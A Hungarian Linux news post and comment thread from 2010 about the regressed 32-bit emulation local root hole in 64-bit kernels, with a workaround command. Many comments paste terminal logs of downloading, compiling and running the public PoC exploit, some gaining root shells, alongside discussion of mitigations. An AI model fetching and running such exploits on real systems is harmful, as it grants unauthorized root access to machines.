[Frissítve] Local root exploit a 64 bites Linux kernel 32 bites emulációjának sebezhetőségére (újra)

Bug

2007 őszén egy exploit látott napvilágot a 2.4-es és a 2.6-os kernelekhez. Az exploit a 64 bites kernelek 32 bites emulációjának sebezhetőségét használta ki. A sebezhetőséget eredetileg a 2009-ben repülőbalesetben elhunyt, ismert lengyel kernelhacker, Wojciech "Cliph" Purczyński fedezte fel. Az exploit sikeres használata esetén a helyi támadó root jogokhoz juthatott. A hibát a kernelfejlesztők kijavították 2007-ben a 2.6.22.7-es kernelben.

Frissítés #1: workaround (ha nincs szükség 32 bites binárisok futtatására): 
echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register

Frissítés #2: A fenti workaround lehet, hogy nem segít

Ben Hawkes nemrég gondosan átvizsgálta a kernel szóban forgó kódját és Tavis Ormandy jelenlétében észrevette, hogy valami nem stimmel. Szólt Robert Swiecki-nek, aki 2007-ben az eredeti sebezhetőségre az exploit-ot megírta. Swiecki megerősítette, hogy valóban érdekes az, amit talált. Elővették a régi exploit-ot, egy kicsit alakítottak rajta és végül a használatával root shell-hez jutottak.

Kiderült, hogy 2008 elején a javításra készített patch-et eltávolították, így a sebezhetőség ismét kihasználhatóvá vált.

Szeptember 14-én Ben Hawkes bejelentése nyomán javításra került a korábbi baklövés.

PoC exploit itt.

A sztori itt olvasható.

( traktor | 2010. 09. 17., p – 21:20 )

Francba. 


[traktor@Fedora13-x86_64 ~]$ gcc robert_you_suck.c 
[traktor@Fedora13-x86_64 ~]$ ./a.out 
resolved symbol commit_creds to 0xffffffff8106b711
resolved symbol prepare_kernel_cred to 0xffffffff8106b5f9
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
sh-4.1#

+1, de max fél óráig. Gentoom van :), és úgysem használok semmi 32-bites cuccot.
Már ez:
ek@daemon ~ $ ./a.out
resolved symbol commit_creds to 0xffffffff81044e7b
resolved symbol prepare_kernel_cred to 0xffffffff81044d48
mapping at 3f80000000
Process received signal: 11
ek@daemon ~ $

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

-1?

dblaci@dblaci ~ $ gcc robert_you_suck.c
dblaci@dblaci ~ $ ./a.out
resolved symbol commit_creds to 0xffffffff8104956f
resolved symbol prepare_kernel_cred to 0xffffffff810494c3
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
sh-4.1$ ls /root/
ls: nem lehet a következő könyvtárat megnyitni: /root/: Engedély megtagadva
sh-4.1$

gentoo-sources-2.6.35-r7

Akkor nekem ezért van benne. Nekem a sima stabil ágból a Gentoo-sources van fent. De a kernelkonfban simán kikapcsoltam a 32-bites emulációt. Végignéztem a szoftvereimet semmi nem igényli. Sőt annó (amikor vagy 2 éve felraktam a rendszert) a no-multilib et is állítottam be mint default környezetet.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

( bodobacs | 2010. 09. 17., p – 21:27 )

Durva!

Úgyis kernelt akartam már frissíteni.

( waiter | 2010. 09. 17., p – 21:34 )

Ajjaj. Nálam is... ;(

waiter@psychon:~$ gcc robert_you_suck.c
waiter@psychon:~$ ./a.out
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
# whoami
root
# uname -a
Linux psychon 2.6.32-24-generic #42-Ubuntu SMP Fri Aug 20 14:21:58 UTC 2010 x86_64 GNU/Linux
#

- waiter -

[salaud@bors Desktop]$ gcc robert_you_suck.c
[salaud@bors Desktop]$ ./a.out
resolved symbol commit_creds to 0xffffffff81077f70
resolved symbol prepare_kernel_cred to 0xffffffff810783b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
[salaud@bors Desktop]$ whoami
salaud
[salaud@bors Desktop]$ uname -a
Linux bors 2.6.35-ARCH #1 SMP PREEMPT Fri Sep 17 17:49:54 CEST 2010 x86_64 Intel(R) Celeron(R) CPU E3200 @ 2.40GHz GenuineIntel GNU/Linux

Na, ezért váltottam Arch-ra, többek közt.

---------------------------------------------------------------------------------
A Linux nem ingyenes. Meg kell fizetni a tanulópénzt.
Az emberek 66 százaléka nem tud számolni! Gondoljatok bele, ez majdnem a fele!!

Nekem speciel bubuntus 2.6.35-ot is megeszi.

pdw@lenovo:~$ gcc robert_you_suck.c
pdw@lenovo:~$ ./a.out
resolved symbol commit_creds to 0xffffffff81086390
resolved symbol prepare_kernel_cred to 0xffffffff81086860
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
\u@\h:\w$ id
uid=0(root) gid=0(root) groups=0(root)
\u@\h:\w$ uname -a
Linux lenovo 2.6.35-20-generic #29-Ubuntu SMP Fri Sep 3 14:55:28 UTC 2010 x86_64 GNU/Linux

Hohó... Egy hivatalos, teljesen hétköznapi ubuntus frissítés után ma már:

waiter@psychon:~$ ./a.out
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$ whoami
waiter
$ uname -a
Linux psychon 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
$

Nem sokat tököltek a javítással. :) \o/

- waiter -

Szervereken is van, hogy kénytelen vagyok 32 bitest futtatni. Van olyan rendszer, ahol a magyar fejlesztőcég megkövetelte a 32 bitet, mert szerinte az általa fejlesztett alkalmazáshoz használt komponensek csak azon futnak megfelelően. Én megkérdőjeleztem ezt, de állították, az kell. Ahol meg nem 32 bites futtatok, ott vagy én vagyok az egyedüli local user és a szerver helyi hálón van, így a rizikó sokkal kisebb. Azon a szerveren pedig, ahol nem én vagyok az egyedüli local user, azért nem vállalok semmilyen felelősséget sem - érthető okokból - és azt írásban ki is kötöm.

--
trey @ gépház

Ha neked ez ment át, akkor valamit félreértettél. Tény, hogy vannak olyan okok, ami miatt sok helyen nem használok 64 bites kernelt. Például a saját gépemen. De nem azért, mert a 64 bites kernelt önmagában kevésbé biztonságosabb tartanám. Sokkal inkább a kompatibilitási okok és amiatt, hogy nem látom értelmét a gépemet újratelepíteni amiatt, hogy 64 bites kernelt használjak. Van ahol kénytelen vagyok 32 bites kernelt használni, mert a ISV kiköti, hogy csak azzal megy a szoftvere. Erről beszéltem.

--
trey @ gépház

( Huncraft v | 2010. 09. 17., p – 21:38 )

pop-corn mode enabled..
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

( kukukk v | 2010. 09. 17., p – 22:03 )

Ez tenyleg mukodik... (Slackware64-Current)

Sic Transit Gloria Mundi

( PTZool | 2010. 09. 17., p – 22:20 )

[zool@ws-test ~]$ gcc robert_you_suck.c
[zool@ws-test ~]$ ./a.out
symbol table not available, aborting!
Process finished
[zool@ws-test ~]$ uname -a
Linux ws-test 2.6.18-194.11.1.el5xen #1 SMP Tue Aug 10 19:41:55 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux

( efel | 2010. 09. 17., p – 22:31 )

opensuse 11.2:

~> gcc robert_you_suck.c && ./a.out
resolved symbol commit_creds to 0xffffffff81097830
resolved symbol prepare_kernel_cred to 0xffffffff81097a70
mapping at 3f80000000
UID 5040, EUID:5040 GID:5040, EGID:5040

( uid_17626 | 2010. 09. 17., p – 22:49 )

Ubuntu 10.4 (up2date) (64bit) 


uname -a

Linux lenovo-laptop 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
user@lenovo-laptop:~$ ./a.out 
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000

( uid_17626 | 2010. 09. 17., p – 22:49 )

Ubuntu 8.04 (up2date) (64bit) 


user@intranet:~$wget  http://sota.gen.nz/compat2/robert_you_suck.c
--22:47:20--  http://sota.gen.nz/compat2/robert_you_suck.c
           => `robert_you_suck.c'
sota.gen.nz feloldása... 184.73.209.117
Csatlakozás a következőhöz: sota.gen.nz[184.73.209.117]:80... kapcsolódva.
HTTP kérés elküldve, várom a választ... 200 OK
Hossz: 5.105 (5.0K) [text/x-csrc]

100%[==================================================================================>] 5.105         --.--K/s             

22:47:22 (47.61 KB/s) - "robert_you_suck.c" mentve [5105/5105]

user@intranet:~$gcc robert_you_suck.c 
user@intranet:~$./a.out 
symbol table not available, aborting!
Process finished

Hehe, SIGSEGV. 


hron@chocolate ~ $ gcc -o robi robert_you_suck.c 
hron@chocolate ~ $ ./robi 
resolved symbol commit_creds to 0xffffffff810535af
resolved symbol prepare_kernel_cred to 0xffffffff810534a6
mapping at 3f80000000
Process received signal: 11
hron@chocolate ~ $

-- 


Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

( bpeter | 2010. 09. 17., p – 23:21 )

Hm, talán ezért nincs fenn gcc a szerveren...

szerintem erre gondolt: http://www.mail-archive.com/debian-glibc@lists.debian.org/msg21746.html

te meg erre(?): http://www.debian.org/doc/manuals/securing-debian-howto/ch4.en.html#s4.9 


Newer versions of the kernel do however handle the noexec flag properly:

       angrist:/tmp# mount | grep /tmp
       /dev/hda3 on /tmp type ext3 (rw,noexec,nosuid,nodev)
       angrist:/tmp# ./date
       bash: ./tmp: Permission denied 
       angrist:/tmp# /lib/ld-linux.so.2 ./date 
       ./date: error while loading shared libraries: ./date: failed to map segment 
       from shared object: Operation not permitted

Miért nem tudja ő leírni, mire gondolt? Fáj? Ő sem tudja? ...? Ahogy elnézem a válaszát erre a hozzászólásra, esélyünk sincs arra hogy kapunk választ :)

Én nagyjából erre gondoltam amit írtál, de szerintem ezt leírtam, rá lehetett jönni.

Mondjuk az durva lett volna ha egy 7 éves buggal jön elő...

a.

Le tudnád írni konkrétan, hol utaltam a noexec-el a tuti biztonsági megoldásra?

Nincs gcc -> le lehet fordítani más gépen és felmásolni -> ezt ki lehet védeni noexec-el.

Ha valamit tudsz ez ellen, vagy kihagytam valamit, légyszi ments meg az örök kárhozattól, és oszd meg velem :)

a.

hello,

köszönöm a(z értelmes) választ, valóban, interpreterből van bőven minden rendszeren (a csh miért érintett? - nem használok csh-t).
De ehhez alaprendszer szintű hozzáférés kell, ha minden publikus szolgáltatás jailben vagy netán virtuális gépen fut, ahol nincs semmi, akkor is ki lehet kerülni?

kösz:

a.

Egyreszt - ugyan jelen pillanatban nincs tudomasom ilyen hibarol es ez nem jelent semmit - de jail-bol is ki lehet torni. Masodsorban az aki egy service-on keresztul egy adott kodhalmazt mar bejuttatott az nem feltetlen palyazik shell accountra, plusz egynel tobb hibat is lehet triggerelni ha mar egyszer valamilyen uton modon nem megengedett kodot futtat az illeto. Normalis tamadas eseten nincs szukseg shell accountra a kivitelezeshez, az boven raer az utolso fazisban is aktivalodni ha igeny van ra. Szerintem.

---
pontscho / fresh!mindworkz

nincsen olyan, hogy "A" biztonsagi megoldas. mondjuk hosting vagy, az apache-ben kihasznalnak egy tavoli kodfuttatasi hibat. ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
a noexeccel kapcsolatban se azert vigyorognak itt tobben, mert teljesen haszontalan opcio lenne (vagyis regebben de, hacsak nem allt az egesz rendszer static binarisokbol, szamuzve a linkert :)) hanem mert onmagaban elegtelen, mert ha az exploit letezik/megirhato a celrendszeren megtalalhato interpreterek egyikere, mar ciki van.

Kösz a választ,

ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
Ezt értem,

se azert vigyorognak itt tobben, mert teljesen haszontalan opcio lenne ... hanem mert onmagaban elegtelen
de én nem mondtam ilyet, hogy önmagában elég :)
Ez a bosszantó, hogy ilyet olvasnak ki belőle, és nem kérdeznek. De nekem az is jó lenne ha kijavítanának, nem érzem szégyennek :(

ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
Ezt próbálom kizárni a jail-lel.

Arra szeretnék rávilágítani, hogy nem lehet mindenhová LIDS-t, RSBAC-ot vagy grsec-et tenni, adott céges policy esetében ahol leteszik az asztalodra a dobozos RedHat-ot, hogy "csak ami a DVD-n van", akkor abból főzhetsz ami ott van.

Az ilyen exploitok (vagyis azok hatásai) ellen Windows-on vagy kereskedelmi Unixokon hogy védekeznek?

Köszi:

a.

( bervi | 2010. 09. 18., szo – 15:42 )

na de amúgy sem kötelező 32emut fordítani a kernelbe, vagy félreértem?
szerintem.

( turul16 v | 2010. 09. 18., szo – 20:57 )

Workaround: Ksplice-olhato.

Amit nem lehet megirni assemblyben, azt nem lehet megirni.

( nevergone v | 2010. 09. 18., szo – 23:12 )

KSplice javítja szépen.

-----
"Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben."

( skynetpro | 2010. 09. 19., v – 09:41 )

nekem nem adja! :)

pali@calypso:~/Desktop$ uname -a
Linux calypso 2.6.31-22-generic #64-Ubuntu SMP Tue Aug 24 09:33:27 UTC 2010 x86_64 GNU/Linux
pali@calypso:~/Desktop$ gcc robert_you_suck.c
pali@calypso:~/Desktop$ ./a.out
resolved symbol commit_creds to 0xffffffff8107f1a0
resolved symbol prepare_kernel_cred to 0xffffffff8107f3b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$

Ubuntu 9.10, amd64, 32 bites futtatás engedélyezve.
btw, most jött apt-vel egy új kernel, de én még a régin próbáltam:

ii linux-image-2.6.31-22-generic 2.6.31-22.65 Linux kernel image for version 2.6.31 on x86/x86_64
ii linux-image-generic 2.6.31.22.35 Generic Linux kernel image

( andrewjsi | 2010. 09. 20., h – 02:57 )

jsi@netmonster ~ $ make robert_you_suck
cc robert_you_suck.c -o robert_you_suck

jsi@netmonster ~ $ ./robert_you_suck
symbol table not available, aborting!
Process finished

jsi@netmonster ~ $ cat /etc/shadow
cat: /etc/shadow: Permission denied

jsi@netmonster ~ $ uname -a
Linux netmonster 2.6.28-hardened-r9 #1 SMP Tue Jul 7 02:18:19 CEST 2009 x86_64 Intel(R) Xeon(TM) CPU 3.60GHz GenuineIntel GNU/Linux

( agoston | 2010. 09. 22., sze – 08:30 )

**Szerkesztve**: oops most nézem ezt már más is postolta :)

grsec?

agoston@o ~ $ gcc robert_you_suck.c
agoston@o ~ $ ./a.out
symbol table not available, aborting!
Process finished
agoston@o ~ $ whoami
agoston
agoston@o ~ $ uname -a
Linux o.hu 2.6.32-hardened-r8 #1 SMP Sat Jun 5 21:06:13 CEST 2010 x86_64 Intel(R) Xeon(R) CPU E5410 @ 2.33GHz GenuineIntel GNU/Linux
agoston@orson ~ $